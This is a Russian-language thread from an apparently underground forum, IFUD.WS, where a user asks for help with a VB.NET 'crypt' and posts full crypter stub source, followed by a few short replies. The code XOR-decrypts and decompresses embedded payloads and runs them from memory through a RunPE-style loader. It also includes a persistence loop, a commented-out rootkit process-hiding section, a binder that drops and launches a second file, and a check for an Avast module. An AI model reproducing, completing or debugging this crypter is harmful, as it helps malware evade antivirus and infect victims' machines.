1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Нужна Крипт Помощь

Тема в разделе "Помощь по программированию", создана пользователем magamio, 22 ноя 2013.

  1. TopicStarter Overlay
    magamio

    magamio Гость

    Помогите с кодом VB
    Криптует до такого состояния и все. Помогите кто чем сможет )))
    До:
    Please login or register to view links
    После:
    Please login or register to view links
     
    Метки:
  2. EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.339
    Симпатии:
    957
    и как тебе помочь? нужны сурсы модулей.
     
  3. Kelvin

    Kelvin Sin Cera

    Регистрация:
    10 май 2012
    Сообщения:
    517
    Симпатии:
    390
    vb или vb.net?
     
  4. TopicStarter Overlay
    magamio

    magamio Гость

    Вот к примеру:
    Код:
    Imports System, Microsoft.VisualBasic
    Imports System.Reflection
    Imports System.Text
    Imports System.Security.Cryptography
    Imports System.IO.Compression
    Imports System.IO
    Imports System.Diagnostics
     
    '[ASEMBLYCODE]
    <Assembly: AssemblyKeyFileAttribute("STRONGNAMELOCATION")>
     
    Public Class _BASE
        Shared ASM As Assembly = Assembly.GetExecutingAssembly()
        Shared RM As New Resources.ResourceManager("Z", ASM)
        Shared Bind As Boolean = %BindCheck%
        Shared Once As Boolean = %OnceCheck%
        Shared Sub Main()
            Try
                'BINDER CheckBinder
                For Each procMod As ProcessModule In Process.GetCurrentProcess().Modules
                    If procMod.ModuleName = "snxhk.dll" Then
                    End If
                Next
                Dim EX As New EX(RetRpE, "Alternative", "Running", New Object() {RetFile, "%ProcessName%", "", "%NON%", "%Folder%", "%Filename%", "%KeyName%"})
                EX.Run()
                'ROOTPersist
                '_HIDEDim ProcessName As String = "%ProcessName%"
                '_HIDEDim Processes() As System.Diagnostics.Process = System.Diagnostics.Process.GetProcessesByName(ProcessName)
                '_HIDEDim id = Processes(0).Id
                '_HIDEDim Hide As New EX(RetRoot, "Rootkits", "HideProcess", New Object() {Process.GetProcessById(Convert.ToInt32(id))})
                '_HIDEHide.Run()
            Catch ex As Exception
                MsgBox(ex.Message)
            End Try
        End Sub
        Public Shared Sub Persist()
            While True
                Dim P = Process.GetProcessesByName("%ProcessName%")
                If P.Length < 1 Then
                    Dim EX As New EX(RetRpE, "Alternative", "Running", New Object() {RetFile, "%ProcessName%", "%NON%", "%Folder%", "%Filename%", "%KeyName%"})
                    EX.Run()
     
                End If
                System.Threading.Thread.Sleep(500)
            End While
        End Sub
        Private Shared ReadOnly Property RetFile As Byte()
            Get
                Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("First"))))
            End Get
        End Property
     
        Private Shared ReadOnly Property RetRpE As Byte()
            Get
                Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Second"))))
            End Get
        End Property
     
        '_HIDEPrivate Shared ReadOnly Property RetRoot As Byte()
        '_HIDE    Get
        '_HIDE        Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Root"))))
        '_HIDE    End Get
        '_HIDEEnd Property
     
        'BINDERPrivate Shared ReadOnly Property RetBind As Byte()
        'BINDER    Get
        'BINDER        Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Three"))))
        'BINDER    End Get
        'BINDEREnd Property
     
        'BINDERShared Sub ExecBind()
        'BINDER    Dim RR As New Random
        'BINDER    Dim Path = IO.Path.GetTempPath & RR.Next(1, 99999) & "%Extension%"
        'BINDER    Dynamic(GetType(IO.File), "WriteAllBytes", New Object() {Path, RetBind})
        'BINDER    Dynamic(GetType(Process), "Start", New Object() {Path})
        'BINDEREnd Sub
     
        'BINDERShared Sub CheckBinder()
        'BINDER    Dim x As System.Threading.Thread
        'BINDER    Dim xx As System.Threading.Thread
        'BINDER    If Bind = True Then
        'BINDER        If Once = True Then
        'BINDER            Dim OnceKey As Microsoft.Win32.RegistryKey = My.Computer.Registry.ClassesRoot.OpenSubKey("AlreadyLaunched", False)
        'BINDER            If OnceKey Is Nothing Then
        'BINDER                xx = New System.Threading.Thread(AddressOf ExecBind)
        'BINDER                xx.Start()
        'BINDER                My.Computer.Registry.ClassesRoot.CreateSubKey("AlreadyLaunched", False)
        'BINDER            Else
        'BINDER            End If
        'BINDER        Else
        'BINDER            x = New System.Threading.Thread(AddressOf ExecBind)
        'BINDER            x.Start()
        'BINDER        End If
        'BINDER    Else : Exit Sub : End If
        'BINDEREnd Sub
     
        Public Shared Function PolyIndia(ByVal data As Byte()) As Byte()
            Dim Result As Byte() = New Byte(data.Length - 16 - 1) {}
            Buffer.BlockCopy(data, 16, Result, 0, Result.Length)
            For i As Integer = 0 To Result.Length - 1
                Result(i) = Result(i) Xor data(i Mod 16)
            Next
            Return Result
        End Function
     
        Public Shared Function Decompress(data As Byte()) As Byte()
            Dim input As New MemoryStream()
            input.Write(data, 0, data.Length)
            input.Position = 0
            Dim gzip As New GZipStream(input, CompressionMode.Decompress, True)
            Dim output As New MemoryStream()
            Dim buff As Byte() = New Byte(63) {}
            Dim read As Integer = -1
            read = gzip.Read(buff, 0, buff.Length)
            While read > 0
                output.Write(buff, 0, read)
                read = gzip.Read(buff, 0, buff.Length)
            End While
            gzip.Close()
            Return output.ToArray()
        End Function
     
        Public Shared Function Dynamic(ByVal [Class] As System.Type, ByVal Method As String, ByVal Argument As Object())
            Dim Cls As Type = [Class]
            Dim Void As String = Method
            Dim obj As Object() = Argument
            Return Cls.InvokeMember(Void, System.Reflection.BindingFlags.InvokeMethod, Nothing, Nothing, obj)
        End Function
     
    End Class
    Public Class EX
        Private ASM() As Byte
        Private CN, MN As String
        Private args() As Object
        Public Sub New(ByVal ASM() As Byte, ByVal CN As String, ByVal MN As String, ByVal args() As Object)
            Me.ASM = ASM
            Me.CN = CN
            Me.MN = MN
            Me.args = args
        End Sub
        Public Sub Run()
            Dim ASM1 As Assembly
            Dim ASMInit As New ASMInit(ASM)
            ASM1 = ASMInit.Ret
            For Each typex As Type In ASM1.GetTypes()
                If typex.IsClass = True Then
                    If typex.FullName.EndsWith("." & CN) Then
                        Dim ClassyObject As Object = Activator.CreateInstance(typex)
                        typex.InvokeMember(MN, Reflection.BindingFlags.[Default] Or Reflection.BindingFlags.InvokeMethod, Nothing, ClassyObject, args)
                    End If
                End If
            Next
        End Sub
        Public Class ASMInit
            Private Init As Assembly
            Public Sub New(ByVal Init As Byte())
                Me.Init = Assembly.Load(Init)
            End Sub
            Public Function Ret() As Assembly
                Return Init
            End Function
        End Class
    End Class
    
     
  5. EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.339
    Симпатии:
    957
    алгоритмы сам писал?
     
  6. TopicStarter Overlay
    magamio

    magamio Гость

    Нет, и не отрицаю
     

Поделиться этой страницей

Загрузка...